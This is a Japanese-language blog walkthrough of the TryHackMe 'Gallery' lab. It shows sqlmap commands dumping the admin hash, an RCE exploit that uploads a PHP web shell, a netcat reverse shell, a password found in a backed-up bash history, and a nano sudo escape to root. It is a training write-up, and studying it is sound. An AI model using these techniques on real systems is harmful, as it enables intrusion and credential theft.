0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Gallery:Walkthrough

Posted at

概要

TryHackMe「Gallery」のWalkthroughです。

Task1

Q1.How many ports are open?

ポートスキャンを実行します。

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Simple Image Gallery System

ポートの稼働状況が分かりました。

ポート サービス バージョン
80 http Apache httpd 2.4.29
8080 http Apache httpd 2.4.29

A.2

Q2.What's the name of the CMS?

8080番ポートにアクセスします。

8080 index.jpg

A.Simple Image Gallery

Q3.What's the hash password of the admin user?

Simple Image Gallery System exploitで検索するとRCEとSQLインジェクションの脆弱性を発見しました。

SQLインジェクションを利用してデータベース情報を取得します。

$ sqlmap -r login_request.txt --batch --dbms=mysql --dbs
available databases [2]:
[*] gallery_db
[*] information_schema

$ sqlmap -r login_request.txt --batch --dbms=mysql -D gallery_db --tables
Database: gallery_db
[4 tables]
+-------------+
| album_list  |
| images      |
| system_info |
| users       |
+-------------+

$ sqlmap -r login_request.txt --batch --dbms=mysql -D gallery_db -T users --dump

Database: gallery_db
Table: users
[1 entry]
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type   | avatar                                   | lastname | password                         | username | firstname    | date_added          | last_login | date_updated        |
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1  | 1      | uploads/1629883080_1624240500_avatar.png | Admin    | a228b12a08b6527e7978cbe5d914531c | admin    | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2021-08-25 09:18:12 |
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+

A.a228b12a08b6527e7978cbe5d914531c

Q4.What's the user flag?

Hint.Mike's mistake..

RCEの脆弱性を悪用します。

PoCを実行するとリンクが生成されます。

$ python exploit.py
TARGET = 10.10.35.248/gallery
Login Bypass
shell name TagoshijdkhwbrquqvqLetta

protecting user

User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin

shell uploading
- OK -
Shell URL : http://10.10.35.248/gallery/uploads/1727583660_TagoshijdkhwbrquqvqLetta.php?cmd=whoami

生成されたリンクにアクセスするとRCEが成功したと分かります。

whoami.jpg

Netcatでリッスンします。

$ nc -lvnp 1234
listening on [any] 1234 ...

下記サイトでリバースシェルのペイロードを作成します。

?cmdパラメータにペイロードを挿入するとシェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.35.248] 55842
$ whoami
whoami
www-data

mikeアカウントを確認できました。

$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root root 4096 May 20  2021 .
drwxr-xr-x 23 root root 4096 Feb 12  2022 ..
drwxr-xr-x  6 mike mike 4096 Aug 25  2021 mike
drwx------  4 root root 4096 May 20  2021 ubuntu

mikeという名前が含まれるフィルを探すと、/var/backups配下にフォルダを発見しました。

$ find / -name *mike* 2>/dev/null
find / -name *mike* 2>/dev/null
/home/mike
/var/backups/mike_home_backup

/var/backups/mike_home_backup/.bash_historyからsudo -lで入力したパスワードを発見できました。

$ cat .bash_history

(省略)
sudo -lb3stpassw0rdbr0xx

mikeアカウントに昇格できました。

$ su mike
su mike
Password: b3stpassw0rdbr0xx

mike@gallery:/var/backups/mike_home_backup$

/home/mike/user.txtからユーザーフラグを入手できました。

/home/mike/user.txt
THM{af05cd30bfed67849befd546ef}

A.THM{af05cd30bfed67849befd546ef}

Task2

Q1.What's the root flag?

sudo -lで確認します。

$ sudo -l
sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

/opt/rootkit.shが実行できるのでファイルの内容を確認します。

/opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

readを入力した際に/bin/nanoが実行されます。
GTFOBinsで権限昇格のテクニックが見つかりました。

/opt/rootkit.shを実行し、readを入力するとエラーが出てnanoエディタが開けませんでした。

$ sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
read
Error opening terminal: unknown.

今回は下記の手順でコマンドを実行することでエラーを解消できました。

$ export TERM=xterm
Ctrl + Z
stty raw -echo; fg

再度/opt/rootkit.shを実行します。

$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read

nanoエディタが開きました。

nano.jpg

Ctrl + Rを押します。

ctrl r.jpg

Ctrl + Xを入力するとコマンドを実行できるようになります。

ctrl x.jpg

reset; sh 1>&0 2>&0を入力するとrootに権限昇格できました。

resety.jpg

# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}

A.THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?